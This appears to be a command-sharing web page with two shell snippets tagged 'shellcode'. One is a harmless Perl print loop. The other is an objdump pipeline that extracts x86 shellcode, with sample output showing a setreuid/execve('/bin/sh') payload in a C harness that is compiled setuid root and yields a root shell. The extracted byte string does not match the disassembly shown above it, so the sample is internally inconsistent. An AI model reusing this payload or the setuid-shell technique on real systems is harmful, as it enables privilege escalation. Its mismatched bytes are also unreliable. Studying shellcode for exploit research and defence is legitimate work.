
Terminal - Commands tagged shellcode - 2 results
perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x 100'
This is sample output - yours may be different.
gunslinger@localhost:~/shellcode$ perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x 100'
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
Art of hacking...
gunslinger@localhost:~/shellcode$
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
This is sample output - yours may be different.
gunslinger@localhost:~/$ objdump -d shell
shell: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: b0 46 mov $0x46,%al
804806a: 31 db xor %ebx,%ebx
804806c: 31 c9 xor %ecx,%ecx
804806e: cd 80 int $0x80
8048070: b0 0b mov $0xb,%al
8048072: 53 push %ebx
8048073: 68 2f 2f 73 68 push $0x68732f2f
8048078: 68 2f 62 69 6e push $0x6e69622f
804807d: 89 e3 mov %esp,%ebx
804807f: 31 c9 xor %ecx,%ecx
8048081: 31 c9 xor %ecx,%ecx
8048083: 53 push %ebx
8048084: cd 80 int $0x80
gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\xcd\x80"
gunslinger@localhost:~/$
-------------------------------shellcodetest.c---------------------------------
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
"\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
------------------------------------EOF----------------------------------------
root@localhost:/home/gunslinger/# vim shellcodetest.c
root@localhost:/home/gunslinger/# cat shellcodetest.c
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
"\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
root@localhost:/home/gunslinger/# gcc -o shellcodetest shellcodetest.c
root@localhost:/home/gunslinger/# chown root:root shellcodetest.c
root@localhost:/home/gunslinger/# chmod 4755 shellcodetest
root@localhost:/home/gunslinger/# exit
gunslinger@localhost:~/$ ./shellcodetest
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# echo GAMEOVER
GAMEOVER
# exit
gunslinger@localhost:~/$